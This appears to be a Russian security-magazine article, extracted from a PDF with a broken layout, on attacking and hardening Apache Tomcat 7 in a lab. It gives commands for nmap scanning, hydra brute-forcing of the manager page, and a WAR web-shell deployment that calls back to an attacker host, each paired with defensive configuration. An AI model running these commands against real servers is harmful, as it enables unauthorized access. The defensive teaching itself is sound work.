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ВЗЛОМ

В  пос леднее  вре мя  в  стать ях  и  пен тестер ских  отче тах  все
чаще упо мина ется Apache Tomcat. И нес прос та. Он занима‐ 
ет  шес тую  строч ку  по  популяр ности  сре ди  веб‐сер веров
в  рей тин ге  W3Techs,  что  дела ет  его  прив лекатель ной
мишенью  для  зло умыш ленни ков.  Нас трой ки  по  умол чанию
в  Apache  Tomcat  не  поз воля ют  про тивос тоять  рас простра‐ 
нен ным  методам  атак,  поэто му  пред лагаю  озна комить ся
с основны ми тех никами, исполь зуемы ми для взло ма, а так же
спо соба ми про тиво дей ствия.

Статья  адре сова на  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собира ется  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ВВЕДЕНИЕ
Apache  Tomcat — откры тое  при ложе ние,  раз рабаты ваемое Apache Software
Foundation и пред став ляющее собой кон тей нер сер вле тов. Написан на язы ке
Java.  Tomcat  может  выс тупать  в  качес тве  самос тоятель ного  веб‐сер вера,
сер вера  кон тента в сочета нии с  веб‐сер вером Apache HTTP Server,  а  так же
в  качес тве  кон тей нера  сер вле тов  в  сер верах  при ложе ний GlassFish  и  JBoss
Application Server. По  дан ным W3Techs,  его  исполь зуют  0,6%  всех  сай тов  (а
с  уче том локаль ных  сетей  эта циф ра  в  разы  уве личи вает ся).  Так,  поис ковая
сис тема  Shodan  находит  поряд ка  955  тысяч  веб‐ресур сов,  работа ющих
на дан ном веб‐сер вере. Это ука зыва ет на то, что Apache Tomcat слу жит мес‐ 
том потен циаль ного инте реса для зло умыш ленни ков.

Ес ли говорить о кон крет ных при мене ниях, то Apache Tomcat мож но встре‐ 
тить  в  сис теме  голосо вой  поч ты  Cisco  Unity  Express,  в  решении  Cisco
для  управле ния  сетями Cisco Network  Registrar,  в  авто мати зиро ван ных  биб‐ 
лиотеч ных  информа цион ных  сис темах,  в  сис теме  управле ния  мно жес твом
точек дос тупа из еди ного цен тра управле ния UniFi, в Server Backup Manager
от  R1Soft,  в  сис теме  вза имо дей ствия  с  сер висами  ГИС  ГМП,  в  НБКИ
(iDБанк‐СМЭВ, Credit Registry), в ДБО, в веб‐тул барах для прин теров.

Что бы  поз накомить ся  с  основны ми  видами  атак  на  Tomcat  и  метода ми
про тиво дей ствия им, возь мем вер сию 7.0.77, уста нов ленную с нас трой ками
по умол чанию на Windows‐машине. Адрес этой машины будет 

, адрес ата кующе го —  .   — мес то уста‐ 
нов ки Tomcat. Прис тупим.

192.168.223.
130 192.168.223.144 $CATALINA_HOME

РАЗВЕДКА
Оп ределе ние вер сии
Нач нем с обна руже ния откры тых пор тов и опре деле ния исполь зуемой вер сии
веб‐сер вера.  По  умол чанию  Apache  Tomcat  рас положен  на  пор ту  8080,
но час тень ко его мож но обна ружить на пор тах 8443, 8081, 80 и 443. На вся кий
слу чай с помощью Nmap прос каниру ем все пор ты:

nmap ‐sS ‐sV ‐p ‐ 192.168.223.130

Пос ле  того  как  мы  узна ли,  на  каком  пор те  находит ся  Apache  Tomcat,  опре‐ 
делим исполь зуемую вер сию. В ста рых вер сиях Apache Tomcat номер вер сии
ука зывал ся в HTTP‐заголов ках   или  , нап ример 

.  Начиная  с  вер сий  5.5.29  и  6.0.23  HTTP‐заголо вок
 при нима ет зна чение  . В таком слу чае опре делить

вер сию мож но, выз вав стра ницу с ошиб кой или заг лянув в «лиш ние» фай лы:
на стра ницы со спра воч ной информа цией ( ), стра ницы с при мера ми (

) или в файл  :

X‐Powered‐By Server Server:
Apache  Tomcat/4.0.6
Server Apache‐Coyote/1.1

/docs/ /
examples/ RELEASE‐NOTES.txt

http://192.168.223.130:8080/!
http://192.168.223.130:8080/docs/
http://192.168.223.130:8080/RELEASE‐NOTES.txt

Кста ти,  уяз вимость  CVE‐2006‐1654,  най ден ная  в  веб‐тул боксах  HP  Color
LaserJet  2500/4600  (инс тру мент,  пре дос тавля ющий  дос туп  к  спра воч ной
информа ции,  информа ции о  сос тоянии  прин тера и  инс тру мен там для  диаг‐ 
ности ки  и  решения  проб лем),  —  «зас луга»  имен но  Apache  Tomcat.  Уяз‐ 
вимость  обхо да  катало га  поз воля ет  зло умыш ленни ку  получить  дос туп
к любым фай лам и катало гам уяз вимой сис темы, вклю чая исходные коды при‐ 
ложе ний, кон фигура цион ные и сис темные фай лы.

По иск дирек торий и фай лов
По ищем  дос тупные  дирек тории  и  фай лы.  В  этом  нам  поможет  OWASP  ZAP
(рань ше для этих целей исполь зовал ся OWASP DirBuster, но тул за не обновля‐ 
ется с 2009 года, а на стра нице про екта вза мен рекомен дуют исполь зовать
имен но OWASP ZAP). Все, что от тебя тре бует ся, — это вста вить URL‐адрес
для ата ки и нажать на кноп ку «Ата ка». При желании можешь ука зать свой файл
для бру та дирек торий.

Па рамет ры поис ка дирек торий

Ча ще  все го  зло умыш ленни ков  инте ресу ет  менед жер  при ложе ний  (каталог
),  который  поз воля ет  уста нав ливать  при ложе ния  или  заливать

веб‐шелл. В дирек тори ях сто рон них при ложе ний могут находить ся стра ницы
авто риза ции,  стра ницы  для  заг рузки  фай лов  или  вооб ще  стра ницы, 

.

manager

со дер‐ 
жащие уяз вимос ти

За щита от поис ка дирек торий и фай лов
В  качес тве  мер  защиты  рекомен дую  отсле живать  поваль ное  наличие  оши‐ 
бок  404  в  логах  фай ла    (что  в  пап ке

) и огра ничить дос туп по IP (под робнос ти чуть поз же).
localhost_access_log.YYYY‐MM‐DD

$CATALINA_HOMElogs

За щита от опре деле ния вер сии
Для того что бы скрыть вер сию веб‐сер вера, про дела ем сле дующие шаги:
1. Уда лим все лиш ние фай лы из под катало гов Apache Tomcat, нап ример пап‐ 
ки   и 

, файл  .
$CATALINA_HOME\webapps\docs $CATALINA_HOME\webapps\ex‐

amples $CATALINA_HOME\webapps\ROOT\RELEASE-NOTES.txt
2. В  катало ге    содер жимое  фай ла 

  (это  глав ная  стра ница  веб‐сер вера)  заменим  сво им  содер жимым
либо:

$CATALINA_HOME\webapps\ROOT\ index.
jsp

1. за меним содер жимое тега  , нап ример на:<title>

<title>][aker</title>

2. уда лим сле дующие строч ки:

<div id="asf‐box">
    <h1>${pageContext.servletContext.serverInfo}</h1>
</div>

3. От клю чим  HTTP‐заголо вок    и  изме ним  зна чение 
для всех кон некто ров. Дела ется сле дующим обра зом:

X‐Powered‐By Server

1. в    для  каж дого  кон некто ра  уда‐ 
лим  параметр    либо  прис воим  ему  зна чение  «false»: 

;

$CATALINA_HOME\conf\server.xml
xpoweredBy <

Connector ... xpoweredBy="false" />
2. для каж дого кон некто ра добавим параметр  , нап ример со сле‐ 
дующим зна чени ем: 

.

server
<Connector ... server="Apache-Coyote/1.

1" />

Стра ницу с ошиб кой мож но заменить на свою. Для это го нуж но в 
  и  в 

 перед зак рыва ющим тегом   вста вить сле дующие стро ки:

$CATALIN‐
A_HOME\conf\web.xml $CATALINA_HOME\webapps\<APP_NAME>\WEBINF\
web.xml web‐app>

<error‐page>
    <error‐code>404</error‐code>
    <location>/error.jsp</location>
</error‐page>
<error‐page>
    <error‐code>403</error‐code>
    <location>/error.jsp</location>
</error‐page>
<error‐page>
    <error‐code>500</error‐code>
    <location>/error.jsp</location>
</error‐page>

А в  катало гах    соз дать файл 
 при мер но с таким содер жимым:

$CATALINA_HOME\webapps\<APP_NAME>\ error.
jsp

<html>
<head>
    <meta http‐equiv="refresh" content="2; /">
    <title>Error page</title>
</head>
<body> Unknown error</body>
</html>

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
По иск экс пло итов
На  сле дующем  шаге  мы  поищем  готовые  экс пло иты.  В  этом  нам  поможет
поис ковик    с  зап росом  сле дующе го  вида: 

.
vulners "Apache  Tomcat  7"  AND

bulletinFamily:exploit

Ин терфейс с резуль татами поис ка в vulners

Нап ример, недав но в паб лик выложи ли уяз вимость  , бла года‐ 
ря которой зло умыш ленник может пов лиять на веб‐кеш, выпол нить XSS‐ата ки
и/или получить кон фиден циаль ную информа цию от дру гих зап росов, манипу‐ 
лируя HTTP‐отве тами.

CVE‐2016‐6816

Ес ли  готовых  экс пло итов  не  наш лось  либо  най ден ные  уяз вимос ти
не  пред став ляют  реаль ной  угро зы  в  кон тек сте  ата куемой  сис темы,  пой дем
дру гим путем.

Под бор паролей
Поп робу ем подоб рать пароль от стра ницы менед жера при ложе ний. Менед‐ 
жер при ложе ний пред назна чен для уда лен ного раз верты вания веб‐при ложе‐ 
ний  и  час то  слу жит  основной  целью  зло умыш ленни ков,  так  как  для  дос тупа
к нему обыч но исполь зуют ся дефол тные логины и пароли  (иног да их мож но
най ти в докумен тации к прог рам мно му обес печению).

Ру ководс тво по уста нов ке и экс плу ата ции Credit Registry Enterprise v. 7

Па роли мож но подоб рать с помощью hydra:

hydra ‐L users.txt ‐P passwords.txt 192.168.223.130 ‐s 8080 http‐get 
/host‐manager/html ‐vV

ли бо с помощью Metasploit Framework, вос поль зовав шись модулем 
.

auxili‐
ary/scanner/http/tomcat_mgr_login

Пред варитель ная нас трой ка вспо мога тель ного Metasploit‐модуля

В  дан ном  слу чае  рекомен дует ся  исполь зовать  слож ные  пароли,  огра ничить
дос туп  к  катало гам  по  IP,  нас тро ить  защиту  от  под бора  учет ных  дан ных,
монито рить логи.

За щита от брут форса
За щита  от  брут форс‐атак  реали зует ся  вне сени ем  в 

  сле дующих  строк  (нуж но  вста вить  внут ри  зак рыва юще го  тега 
):

$CATALINA_HOME\conf\
server.xml <
Engine>

<Realm className="org.apache.catalina.realm.LockOutRealm" failur
eCount="3" lockOutTime="600">
    <Realm className="org.apache.catalina.realm.UserDatabaseRealm" 
resourceName="UserDatabase"/>
</Realm>

где    —  бло киров ка  пос ле  задан ного  количес тва  неудач ных
попыток под ряд;   — вре мя  (в  секун дах),  на  которое будет  заб‐ 
локиро ван поль зователь.

failureCount
lockOutTime

Прав да, здесь при меня ется бло киров ка по име ни поль зовате ля, поэто му
при брут форс‐ата ке такой спо соб защиты может при вес ти к отка зу в дос тупе
легитим ному  юзе ру.  Поэто му  луч ше  монито рить  логи  (в  интерне те  мож но
най ти  опи сание,  как  это  дела ется  с  помощью  рас простра нен ных  ана лиза‐ 
торов логов типа Splunk или ELK).

Ог раниче ние дос тупа по IP
По умол чанию дос туп к веб‐интерфей су Apache Tomcat с внеш него перимет‐ 
ра зак рыт, но он дос тупен из локаль ной сети. Если тре бует ся огра ничить дос‐ 
туп по IP, это мож но сде лать сле дующим обра зом. В 

 меж ду зак рыва ющим тегом   вставь строч ку
$CATALINA_HOME\conf\

server.xml <Host>

<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow=
"127\.0\.0\.1"/>

В парамет ре   в виде регуляр ного выраже ния перечис ли все IP, которым
тре бует ся дос туп.

allow

ЗАКРЕПЛЕНИЕ В СИСТЕМЕ
За лив ка шел ла
До пус тим, все прош ло успешно и мы сбру тили пароль для дос тупа к менед‐ 
жеру  при ложе ний.  Теперь  приш ла  пора  заливать  шелл.  Для  это го  через
менед жер  при ложе ний  необ ходимо  заг рузить  WAR‐архив,  содер жащий
полез ную  наг рузку.  Сущес тву ет  готовый  скрипт  ,
который все сде лает за нас, от нас тре бует ся лишь ука зать учет ные дан ные,
адре са и пор ты локаль ного и уда лен ного хос тов:

tomcatWarDeployer.py

python tomcatWarDeployer.py ‐v ‐x –U admin –P admin ‐p 4444 ‐H 192.
168.223.144 192.168.223.130:8080

За лив ка шел ла

Ог раниче ние учет ной записи
В  дан ной  ситу ации  методом  защиты  будет  слу жить  запуск  служ бы  Tomcat
под  огра ничен ной  учет ной  записью,  что  не  поз волит  повысить  при виле гии
либо усложнит этот про цесс.

Для  начала  соз дай  учет ную  запись  поль зовате ля  с  огра ничен ными  пра‐ 
вами (нап ример,  ) для того, что бы запус кать от его име ни сер вис Tom‐
cat.  Далее  открой  служ бы  Windows  («Выпол нить  →  services.msc»).  Най ди
служ бу  .  Двой ным  щел чком  по  левой  кноп ке
мыши зай ди в свой ства служ бы и выбери пункт «Вход в сис тему». В поле «С
учет ной  записью»  вве ди  имя  учет ной  записи  (в  нашем  слу чае  )
и пароль. В завер шение наж ми на кноп ку «При менить».

Tomcat

Apache  Tomcat  7.0  Tomcat7

Tomcat

Нас трой ка вхо да в сис тему для служ бы Tomcat

Те перь  перей дем  к  нас трой ке  раз решений.  Выдели  пра вой  кноп кой  мыши
пап ку  ,  клик ни  по  меню  «Свой ства».  Перей ди  на  вклад ку
«Безопас ность». Наж ми  на  кноп ку  «Изме нить»  в  раз деле  «Груп пы  или  поль‐ 
зовате ли»  и  добавь  ранее  соз данно го  поль зовате ля  через  кноп ку
«Добавить». Далее добавь  сле дующие раз решения для  груп пы  :  чте‐ 
ние  и  выпол нение;  спи сок  содер жимого  пап ки;  чте ние;  запись.  Пос ле  чего
при мени  уста нов ленные  нас трой ки.  Оста лось  толь ко  запус тить  служ бу
Tomcat.

$CATALINA_HOME

Tomcat

Нас трой ка раз решений для катало га Tomcat

 — рекомен дации по безопас ным нас трой кам
Apache  Tomcat  7.0,  работа юще го  под  управле нием  Linux.  Документ  сос тоит
из  десяти  раз делов,  вклю чающих  рекомен дации  по  уда лению  «лиш них»
ресур сов,  огра ниче нию  дос тупа  к  кон фигура цион ным  фай лам,  нас трой ке
логов, нас трой ке политик Catalina и про чее.

CIS Apache Tomcat 7 Benchmark

Ре комен дации раз делены на два уров ня про филя кон фигура ции: level 1 —
базовые  нас трой ки  безопас ности,  level  2  —  рас ширен ные  нас трой ки
безопас ности (могут при водить к сбо ям и вли ять на про изво дитель ность).

ЗАКЛЮЧЕНИЕ
Итак,  мы  рас смот рели  основные  век торы  атак  на  Apache  Tomcat.  Как  ты
заметил, их не так мно го, но это не меша ет зло умыш ленни кам их экс плу ати‐ 
ровать. Резуль татом такой ата ки может стать ком про мета ция сис темы, поэто‐ 
му  не  пре неб регай  базовы ми  нас трой ками  безопас ности,  сво евре мен но
латай дыры и отсле живай новые спо собы атак.

  по  защите  сер вера
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•Ре комен дации  от  OWASP

на офи циаль ном сай те
•Ин форма ция  об  уяз вимос тях  Apache  Tomcat

https://twitter.com/ser_storchak
https://xakep.ru/2017/05/16/apache-struts-rce-vhack/
https://goo.gl/46lhwx
https://goo.gl/mx5WDD
https://goo.gl/WNAwjx
https://goo.gl/2waqaN
https://goo.gl/La0qxq
https://goo.gl/pwueAg

